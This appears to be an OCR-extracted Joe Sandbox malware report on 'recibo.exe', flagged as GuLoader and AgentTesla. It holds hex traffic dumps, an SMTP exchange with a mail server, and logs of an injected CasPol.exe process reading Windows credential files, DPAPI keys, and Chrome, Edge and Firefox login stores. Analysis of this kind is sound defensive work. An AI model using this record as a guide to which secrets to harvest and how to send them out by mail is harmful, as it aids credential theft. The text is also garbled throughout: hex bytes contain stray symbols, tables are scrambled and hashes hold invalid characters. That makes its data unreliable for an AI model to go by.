2022-05-27 11:26:33 UTC 206 IN Data Raw: 9e Oe el 02 9c d5 99 54 17 1d 0f 16 69 fc d0 28 51 ea cc e6 b7 54 83 ca a4 f2 32 b2 46 53 5¢ 75 7 8e 5f 55
e5cd 9b cd e2 f3 55 10 80 2c 4d 4f 71 a3 59 dc c0 6a 1f 3b 02 69 d9 74 60 1b 2b 6e 45 a3 c8 c3 ¢9 06 1c 55 58 5c aa 6¢
ef €9 29 e0 36 be ad 2e 68 c5 4f 4f 1¢c 50 00 26 ac 09 41 d4 f6 14 86 ab 28 d9 e0 19 1f 4d a8 9e 3a 10 ch 93 a6 e3 c8 12
9a 3e f8 5 e9 53 08 96 82 3f 58 43 28 d6 d4 98 60 a3 15 16 7b d2 be f1 e8 8f eb 45 €3 95 d6 88 63 42 fc ac f0 d5 77 ee
23 af 32 92 9d be 64 f2 b9 bb 1b 66 cb €6 74 07 25 19 40 96 9b 5b 24 38 34 3e 50 05 85 79 1d 44 36 Oa 2c 26 f1 20 al b9
7a0b 92 0b f5 6f 81 81 70 2e ad 81 31 b9 77 3a f6 8d el 74 ee 4b 27 bb 52 e6 b2 81 fc d5 9c 74 07 0d 5f 51 0f 32 bc 8f
59 4c a2 a6 66 74 0f ab cd 5d 26 af 55 fb 4d b4 d1 09 71
Data Ascii: Ti(QT2FS\u_UU,MOqYj;it +nEUX\I)6.hOOP&A(M:>S?XC({EcBw#2dft% @[$84>PyD6,& zop.1w:tK'Rt_Q2

YLft]&UMq

2022-05-27 11:26:33 UTC 207 IN Data Raw: 8e b6 92 b1 72 a8 2f 89 71 3f cf 22 ca €8 8b €2 9b 39 db 64 ff b9 a8 6e 28 d3 42 7d de ae f2 fb f8 a8 34 41 d8
19 79 60 8e 79 94 d3 5e a7 bd 04 07 1e 6b b1 20 28 ce d7 e2 Oc 92 90 f3 3f 8d 67 e5 71 7f af 7e c0 3f 80 fe 02 2d 2f 53 bf
af 78 70 68 f8 ab ae b4 c0 56 6¢ 95 37 79 94 Oa e6 2a ba b5 3b 3 ¢5 08 98 6d 0f 76 1d Oa e8 37 57 87 8d a7 5e f8 17 39
28 ba 69 cc 01 8c 54 16 8b bf Oe 46 df 39 05 b4 a7 a6 {7 fa d7 84 7b bc 24 a2 Oe b0 1e 36 e3 a0 1d da fc d2 ed d5 2c 6¢
e3d7 2d 67 62 ea 71 6e 09 4c de e0 89 34 da 8a 15 a7 4e 28 12 35 7d 9c ef b2 al 84 78 03 23 2a 87 5f 2b 22 1b c0 2e
dc fb a7 05 68 e7 4e 9b 6¢ 20 64 3d 82 ce a7 8e ¢9 9d 70 18 a4 a9 d5 4a 5f d1 79 72 b8 78 93 e3 b6 29 3d cd 05 ba 7b
d0 42 4c 2b dd 4e 2a 6d 7a 7a ae a8 76 5b 03 63 3b 1f ee
Data Ascii: r/q?"9dn(B}4Ay y"k (?9q~?-/SxphVI7y*;mv7W"9(iTF9{$6,l-gbgnLAN(5}x#*_+".hNI d=pJ_yrx)={BL+N*mzzvc;

2022-05-27 11:26:33 UTC 209 IN Data Raw: b2 73 a8 16 ec b4 5c 4b c4 €8 84 1b 6e 58 81 40 7e 1e 13 58 6b 16 8a 9b 20 11 f6 5a 09 €0 70 2f bb 81 c2 9b
Oe 55 eb 71 ca be 4c 27 cd 99 86 5e fb 7a 18 aa fc d1 02 36 06 6d cb fb 30 ff db d5 34 41 7c 7b 65 aa bf b1 d4 78 3c 0d
€833 cd 49 07 65 41 69 e8 c4 8b eb 86 f0 2f 8e 6b c1 36 14 9a ff 79 68 3f 9f 3e 5b 72 55 a8 3b 33 c5 2b f4 2e ae 39 a6 bf
f7 bc 62 10 12 28 76 4a ad 41 1a 5e 84 6¢ b9 47 f8 f8 31 1d e3 2e 72 bb 61 be 9f 1a aa ca 21 a7 53 3c c8 e7 e6 €9 59 66
4b 1f 59 65 b4 18 d9 44 79 86 d2 1f 81 34 de 15 2d ec 0d d2 6f 3a a5 6d 37 d3 f2 b8 74 4f f8 26 8f 07 23 cf 73 43 a4 9d ae
cala779be8f4 {7 6aal e5dac8abfd3a95e0 56 23 13 df 4a cc b8 df 7e 8a 1b 91 ba 17 3c 50 8d 6a c0 c2 6e 57 22
a8 58 ff a7 9f 3b 5a ef cd a0 7f 1b 2b 4e 75 a3 db
Data Ascii: sS\KnX@~Xk Zp/UgL""z6m04A|{ex<3leAi/k6yh?>[rU;3+.9b(vJANG1.ra!S<YfKYeDy4-0:m7tO&#sCwj:V#JI~

<PjnW"X;Z+Nu

2022-05-27 11:26:33 UTC 209 IN Data Raw: d6 c6 a7 81 fd 01 9e 4e 86 0d 54 6b 8f 81 32 2d de cd a8 a9 66 6e 80 ad c7 53 29 23 81 df 49 ba 5f a9 4a 32
d5 93 fa b6 11 24 7c e6 8 26 69 3d d9 6d 67 48 57 51 27 05 d4 ee 42 1c 54 6¢ Oc 13 44 {7 1b 8a 94 af 7f f6 5a 09 fd 73
2e 52 92 b9 9b Oe 55 f1 ed cc b5 7d 21 da a8 93 d5 33 69 8a f6 5 cd 8d 2b 01 ff 96 27 23 6¢ 52 c0 3f 4e f2 d4 79 38 9e 1e
d4 79 95 1e df al 19 53 9b 63 64 73 fe c3 ec 76 5e f9 20 01 6b c9 2a 9c 5a f0 76 ea 2a 9f 25 75 7d 49 26 94 2f 40 03 e9
3d bd 2c af bf ed 20 64 1f 90 28 65 4c b8 45 13 4b 0a 8b a8 d5 64 8 2d 60 fa 2d 7d bd 6¢ 94 b8 02 ad 5b 8 7c 72 2d 55
el e6 fb 49 74 cb d0 d9 7f 01 17 cf 5f 65 08 12 10 9b bb cb 15 2¢ f7 17 5a ba 33 a5 6d 37 dd 9b a2 fd 32 e9 5b 8f 3f 2a da
74 d0 2c 52 da ca 1a 1f 9c 8f 7c 24 65 bf 76 53 ce
Data Ascii: NTk2-fnS)#1_J2$|&i=mgHWQ'BTIDZs.RU}!3i+'#IR?Ny8yScdsv” k*Zv*%u}l&/@=, d(eLEKd-"-}I[|r-Ult_e,Z3m72[?

*t,R|$evS

2022-05-27 11:26:33 UTC 211 IN Data Raw: 7c 4d ed 6c 76 3f ab 8f f4 2a 24 34 c3 8d 6f 67 de de 58 24 5f ef 30 f1 ce 68 b4 2c df 46 08 71 2c be e7 51 76
78 03 a2 €1 11 9c d4 3d 4b 19 82 d6 19 1le ea 70 f9 44 e4 50 53 b1 5a 83 c¢8 b1 fd b7 0a el 81 7e 67 ff 1b 90 d4 2a 4d 9d
d6 fe 7d 95 1f 90 a3 4d 4f 62 b1 45 52 27 6¢ 03 b2 02 69 df 68 08 05 20 7b 56 b0 ef d9 c7 06 1f 55 64 5¢ b6 e5 el e9 2a
€0 Oa be b1 a9 40 ca 53 c1 €9 5d 08 14 2c f2 d3 bc e2 09 94 2d c¢3 d9 14 27 08 54 ad 84 aa c3 da 83 37 e5 cd 1d 1f f2 fe
fb 60 47 18 90 98 bd 1 43 3b d7 cc 96 fc a9 15 Oe db 77 a4 6d 6d 89 fe 51 69 48 cl fd 69 57 fa ac f3 dd 7c e7 31 2c 2d
00 9a bc fb fe af 3e 10 74 c4 e7 7a 18 3c 19 43 62 88 54 36 4e 35 29 f1 0f 9a ec df ca f9 43 22 6f ff 69 af fc 68 a4 4f 3b fb
4f 89 be 6d 00 a5 9a 38 b3 78 b5 e6 8b ec 7c ee
Data Ascii: |[MIv?*$40gX$_0h,Fq,Qvx=KpDPSZ~g*M}MObER'lih {VUd\*@S],-'T7" GC;wmmQiHiW|1,->tz<CbT6N5)C"o

ihO;0m8x|

2022-05-27 11:26:33 UTC 212 IN Data Raw: cd e8 da 72 8d 89 ce 5e 00 23 c1 ¢5 60 cO c2 68 4c 10 28 90 ec 35 ¢3 32 5a ec ce b4 7c 07 a4 49 47 23 52 21
8225 53 be 81 b5 e3 el f0 86 6d 9b 24 30 d8 8 1a bf 72 34 dO 4c f1 ba aa 3b 26 fb 4b 74 d2 20 12 8 f7 a4 29 5b 56 cc
7067 1f 16 55 db 70 a9 ae 03 95 43 b7 a2 a5 c8 d0 e5 63 d0 86 97 62 61 45 77 6b 93 7c a8 7d cf b8 09 d3 06 02 3d d6
51 b1 6b f1 80 €0 b0 ab al 55 ab fe dc dd 7f 87 09 ee 36 be af a4 ff d9 39 1c 91 0b 79 98 ee e7 15 5b bd 0d 5b 42 64 cd
18 3f b9 6a ec Ob 8a 52 09 9d 39 f2 42 dO bc e7 b9 87 ae ed 7d 39 80 41 3c d8 b5 86 70 1a 2c 6b 4b 1a ef f9 d2 ed c3 5f
76 67 c1 3b 42 74 68 ae 5 14 56 d8 e0 89 2e 52 60 1b b6 54 21 12 35 68 91 fa b4 b6 80 6d 03 1e 2e 87 5f 3e 2d 16 c4
31 c7 f3 a5 6e 64 f9 4a 80 49 3f 7c 25 8f dd ae e0 cc e7 77 7e
Data Ascii: r'# hL(52Z|IG#R!%Sm$0r4L;&Kt )[VpgUpCcbaEwk|}=QkU69y[[Bd?jRIB}9A<p,kK_vg;BthV.R T!5hm._>-

1ndJI?|%w~

2022-05-27 11:26:33 UTC 213 IN Data Raw: 5¢ 51 05 3f 79 7d 20 4f 3f 37 6¢ c9 a7 06 7c 01 a5 c9 5b 04 2d aa ff 7b a6 7f b5 49 35 9 86 d8 36 cc 25 02 67
¢5 33 7a bd 4d 6¢ 07 5d 31 d1 9f 04 b4 6f 24 00 29 70 7c 1d 18 76 72 84 e4 al 14 f8 48 7c 85 62 c4 b3 cb b7 d6 13 37 e3
21 ¢4 f8 77 6¢ d4 fc 94 b8 26 2f 0a 72 4 87 Oc 6b 14 9c 16 97 22 2b d3 8a 31 1d 72 17 77 7e 1e c9 c6 b9 9d 4c da cb 6¢
2e 86 00 4f Oc ed 92 fe bd 83 ae 32 c8 63 f2 38 79 87 89 64 Oe 22 91 38 7b 73 6f 28 98 3d c0 Ob b8 33 ¢5 22 c6 bl 84 3d
06 02 d0 20 17 42 c0 4f 6d 4c 76 85 c2 c7 76 fO 4b 68 8a 2d 7c b5 4f bb bf 1a cc 49 5d al 72 3f 9b e9 9a f5 35 66 2c 0d
bl 6d ee 1f a0 51 07 06 49 1e fa b5 ba 1b 54 f9 71 52 d3 3b da ec 5a cf ee aa 98 2f 80 53 df 09 68 c1 0d c2 el 8f 95 d8
d7 17 f9 9d 9a f9 30 ad ae 5b 98 b4 c9 32 ec e6 1b 22
Data Ascii: \Q?y} O?7!|[-{I156%g3zMI]10$)p|vrH|b7!wI&/rk"+1rw~LIl.02c8yd"8{so(=3"= BOmLvvKh-|OI]r?5f,mQITqR;Z/Sh

op2"

2022-05-27 11:26:33 UTC 214 IN Data Raw: 8e e6 ab 2c 21 d1 0d b2 66 cc 5f 50 36 df 46 22 71 67 66 a6 ac 76 5a 06 7f 3e 3f ef 59 6b 6a 83 Ob e9 Oc 8e
5494 56 05 9f ca 04 1c ed 50 f8 59 f6 dO fa bf 5¢c a3 c¢8 ac ef 37 a3 ¢4 86 71 72 ed 9b 4d d5 38 cc 95 c3 ec fd 48 le 82 22
45 41 7f bf 4b 5¢ 29 62 11 33 0a 67 d1 7a 7d 18 23 73 4b be cb de ca 13 0d d5 b9 5d a4 64 e9 fc 38 60 d7 bf a3 28 48 c4
5d cf f5 53 06 06 ad 1b c1 3d ea 07 86 ac 2a cb 61 14 0f 43 b8 96 2a le db 91 b6 ed d8 Of 9f 2f ff €9 el 4f 00 9e 8a 3d 50
4b 35 cac9 84 7d al 1d 1c 5b d6 b6 ec ed 87 e3 54 61 40 d3 88 61 4a f4 a4 fb d5 74 ec 31 2e 3f 82 93 ae 79 {7 bd bc 19
7ac3el 740539 0bcl9b 9551 24 3b 28 2c d1 08 94 9 cd 4a 24 42 2¢ 72 f1 74 al e9 7a 24 92 3a 5 41 81 b0 70 Oe ad
87 36 bb 65 bb fb 85 e4 74 ee 59 a6 b6 57 ce b2 93
Data Ascii: ,!'f_P6F"qgfvZ>?YKjTVPY\7qrM8H"EAK\)b3gz}#sK]d8' (H]S=*aC*/O=PK5}[Ta@aJt1.?yzt9Q$;(,J$B,rt

z$:Ap6etYW

SMTP Packets

. Source Dest
Timestamp Port Port Source IP Dest IP

May 27, 2022 13:26:44.919852972 CEST 587 49764  168.119.38.32 192.168.11.20

Copyright Joe Security LLC 2022

Commands
220-isp.gesinfo.es ESMTP Exim 4.95 #2 Fri, 27 May 2022 13:26:44 +0200

220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
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Timestamp Port Port Source IP Dest IP

May 27, 2022 13:26:44.920175076 CEST 49764 587 192.168.11.20 168.119.38.32
May 27, 2022 13:26:44.934568882 CEST 587 49764  168.119.38.32 192.168.11.20
May 27, 2022 13:26:44.934964895 CEST 49764 587 192.168.11.20 168.119.38.32
May 27, 2022 13:26:44.950790882 CEST 587 49764 168.119.38.32 192.168.11.20
Statistics

Behavior

System Behavior

Source Dest

@ recibo.exe

® CasPol.exe
@ CasPol.exe
@ conhost.exe

Click to jump to process

Analysis Process: recibo.exe PID: 4332, Parent PID: 2184

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

1

13:25:57

27/05/2022
C:\Users\user\Desktop\recibo.exe

true

"C:\Users\user\Desktop\recibo.exe"
0x400000

606778 bytes
4680729EDCA682D1B6DESCF875BBFDF5
true

true

C, C++ or other language

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GulLoader, Source:
00000001.00000002.23385776867.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

low

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Copyright Joe Security LLC 2022

Commands

EHLO 610930

250-isp.gesinfo.es Hello 610930 [84.17.52.2]
250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPE_CONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

STARTTLS

220 TLS go ahead
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File Path

File Path

File Path

Registry Activities

Access Attributes

Offset

Length Value Ascii

Offset

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path

Name Type Data

Analysis Process: CasPol.exe PID: 416, Parent PID: 4332

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

3

13:26:14

27/05/2022
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
false

"C:\Users\user\Desktop\recibo.exe"

0x470000

108664 bytes

914F728C04D3EDDD5FBA59420E74E56B

true

true

C, C++ or other language

moderate

Analysis Process: CasPol.exe PID: 432, Parent PID: 4332

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

4
13:26:14

27/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
true

"C:\Users\user\Desktop\recibo.exe"

0x870000

108664 bytes

914F728C04D3EDDD5FBA59420E74E56B

true

true

.Net C# or VB.NET

Options Completion
Completion
Length Completion
Completion
Completion

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GulLoader, Source:
00000004.00000000.23175826600.0000000000000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000004.00000002.28075201958.000000001D471000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000004.00000002.28075201958.000000001D471000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

moderate

Access Attributes

Copyright Joe Security LLC 2022

Options

Completion

Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol

Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list  device directory file | object name collision 1 D147BF InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 D147BF InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 D147BF InternetOpen
crosoft\Windows\INetCache directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 D147BF InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 D147BF InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 D147BF InternetOpen
crosoft\Windows\INetCookies directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list ~ device directory file | object name collision 1 6D7D3263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6D7D3263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 6D7D3263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6D7D3263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C739B71 WriteFile
\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C739B71 WriteFile
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6D7D099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6D7D099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6D7D099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6D7D099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\e4al unknown 176 success or wait 1 6D7262DE ReadFile
€9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6D7DD97A ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6D7DD97A ReadFile
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File Path Offset
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\68e52d unknown
ed8d0e73920808d8880ed14efd\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\6 unknown
2fe5fc1b5bafbh28a19a2754318abf00\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\5a unknown
5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Manage unknown
ment\ccd32e22ed1b362cchd4b6fe2cda6dOb\System.Management.ni.d

Il.aux

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown
2B5E2187F75E8118A14612
C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3425316567-  unknown
2969588382-3778222414-1001\0bbc8053-6142-4476-bd97-9cd1b814c5a5
C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown
2B5E2187F75E8118A14612
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown
CC19A398EBF1B96859CE5D
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown
CC19A398EBF1B96859CE5D
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown
Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown
C:\Program Files (x86)\iDownloader\config\database.script unknown
C:\Program Files (x86)\iDownloader\config\database.script unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown
Analysis Process: conhost.exe PID: 7164, Parent PID: 432
General

Target ID: 5

Start time: 13:26:14

Start date: 27/05/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff736160000

File size: 875008 bytes

MDS5 hash: 81CA40085FC75BABD2C91D18AA9FFAGS

Copyright Joe Security LLC 2022

Length
4095
620

864

900

748

4095
8171
4096
4096
4096
4096
4095
8173
764

4096

4096

4096

11120

11120

4096
4096
4096
4096
49152
4096
4096
624
4096
45056

4096
4096
4096
4096
4096
4095
8173

Completion
success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
end of file
success or wait
end of file
success or wait
end of file
success or wait
end of file

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
end of file
success or wait
end of file
success or wait
success or wait
success or wait
end of file
end of file

success or wait

success or wait
success or wait
end of file
success or wait
end of file
success or wait

end of file

Count Source Address

6D7DD97A
6D7262DE

6D7262DE

6D7262DE

6D7262DE

6D7D099B
6D7D099B
6C739B71
6C739B71
6C739B71
6C739B71
6D7D099B
6D7D099B
6D7262DE

6C739B71

6C739B71

6C739B71

6C739B71

6C739B71

6C739B71
6C739B71
6C739B71
6C739B71
6C739B71
6C739B71
6C739B71
6C739B71
6C739B71
6C739B71

6C739B71
6C739B71
6C739B71
6C739B71
6C739B71
6D7D099B
6D7D099B

Symbol
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

unknown
unknown
ReadFile
ReadFile
ReadFile
ReadFile
unknown
unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
unknown

unknown
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Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Disassembly

@ No disassembly

Offset

Copyright Joe Security LLC 2022

Length

Completion

Count Source Address

Symbol
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